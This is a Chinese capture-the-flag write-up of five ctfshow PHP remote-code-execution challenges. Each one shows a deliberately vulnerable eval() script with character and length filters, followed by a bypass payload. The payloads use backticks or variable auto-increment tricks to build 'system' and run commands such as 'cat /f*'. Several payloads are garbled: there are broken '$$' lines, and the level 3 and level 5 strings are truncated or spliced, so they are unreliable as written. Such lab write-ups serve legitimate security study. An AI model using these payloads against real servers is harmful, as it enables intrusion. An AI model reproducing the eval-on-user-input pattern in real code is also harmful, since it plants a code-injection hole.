ctfshow-RCE挑战
字数 848 2025-08-19 12:42:02

CTFshow RCE挑战系列解题详解

RCE挑战1

代码分析

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>

过滤规则

  1. 禁用所有错误报告
  2. 将左括号"("替换为"括号"
  3. 将点"."替换为"点"

绕过方法

  1. 使用反引号`执行命令,无需括号
  2. 使用echo输出结果

有效payload

code=echo `cat /f*`;

RCE挑战2

代码分析

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:<>?|{}+-]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

过滤规则

过滤了所有字母、数字和特殊字符@#%^&*:<>?|{}+-

绕过方法

  1. 使用变量自增构造webshell
  2. 通过$_GET传参

有效payload

POST: ctf_show=$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_=_.$___;(
$$
_[_])(
$$
_[__]);
GET: ?_=system&__=ls /

RCE挑战3

代码分析

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!@#%^&*:<>?|{}+-]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

过滤规则

  1. 长度限制105字符
  2. 过滤了字母、数字2-9和特殊字符!@#%^&*:<>?|{}+-
  3. 允许使用$01

绕过方法

  1. 使用(0/0)构造NAN
  2. 使用(1/0)构造INF
  3. 通过字符串转换获取所需字符

有效payload

ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;fe.$%fd.$%fc.$%fb;
$$
_[0](
$$
_[1]);&0=system&1=cat /f1agaaa

RCE挑战4

代码分析

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!@#%^&*:<>?|{}+-]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

过滤规则

  1. 长度限制84字符
  2. 过滤了字母、数字1-9和特殊字符!@#%^&*:<>?|{}+-
  3. 允许使用$0

绕过方法

  1. 使用(0/0)构造NAN
  2. 通过数组拼接获取字符

有效payload

ctf_show=$_=((0/0).[])[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;
$$
_[_](
$$
_[0]);&_=system&0=cat /f*

RCE挑战5

代码分析

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!@#%^&*:<>?|{}+-]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

过滤规则

  1. 长度限制73字符
  2. 过滤了所有字母、数字和特殊字符!@#%^&*:<>?|{}+-
  3. 允许使用$_

绕过方法

  1. 利用gettext()扩展的_()函数
  2. 使用不可见字符作为变量名

有效payload

ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;ff]);&_=system&%ff=cat /f1agaaa

通用技巧总结

  1. 字符构造方法:

    • 使用(0/0)得到NAN
    • 使用(1/0)得到INF
    • 使用([].[])得到ArrayArray
  2. 变量自增:

    • $a++++$a的区别
    • 通过自增从A构造到Z
  3. 特殊函数利用:

    • _()相当于gettext()
    • eval()执行PHP代码
  4. 编码技巧:

    • URL编码特殊字符
    • 使用不可见字符缩短payload长度
  5. 命令执行:

    • 反引号`执行命令
    • system()函数执行系统命令
  6. 长度优化:

    • 使用最短的变量名
    • 利用PHP的隐式类型转换
    • 链式操作减少语句数量
CTFshow RCE挑战系列解题详解 RCE挑战1 代码分析 过滤规则 禁用所有错误报告 将左括号"("替换为"括号" 将点"."替换为"点" 绕过方法 使用反引号 ` 执行命令,无需括号 使用 echo 输出结果 有效payload RCE挑战2 代码分析 过滤规则 过滤了所有字母、数字和特殊字符 @#%^&*:<>?|{}+- 绕过方法 使用变量自增构造webshell 通过 $_GET 传参 有效payload RCE挑战3 代码分析 过滤规则 长度限制105字符 过滤了字母、数字2-9和特殊字符 !@#%^&*:<>?|{}+- 允许使用 $ 、 0 、 1 绕过方法 使用 (0/0) 构造 NAN 使用 (1/0) 构造 INF 通过字符串转换获取所需字符 有效payload RCE挑战4 代码分析 过滤规则 长度限制84字符 过滤了字母、数字1-9和特殊字符 !@#%^&*:<>?|{}+- 允许使用 $ 、 0 绕过方法 使用 (0/0) 构造 NAN 通过数组拼接获取字符 有效payload RCE挑战5 代码分析 过滤规则 长度限制73字符 过滤了所有字母、数字和特殊字符 !@#%^&*:<>?|{}+- 允许使用 $ 、 _ 绕过方法 利用 gettext() 扩展的 _() 函数 使用不可见字符作为变量名 有效payload 通用技巧总结 字符构造方法 : 使用 (0/0) 得到 NAN 使用 (1/0) 得到 INF 使用 ([].[]) 得到 ArrayArray 变量自增 : $a++ 和 ++$a 的区别 通过自增从 A 构造到 Z 特殊函数利用 : _() 相当于 gettext() eval() 执行PHP代码 编码技巧 : URL编码特殊字符 使用不可见字符缩短payload长度 命令执行 : 反引号 ` 执行命令 system() 函数执行系统命令 长度优化 : 使用最短的变量名 利用PHP的隐式类型转换 链式操作减少语句数量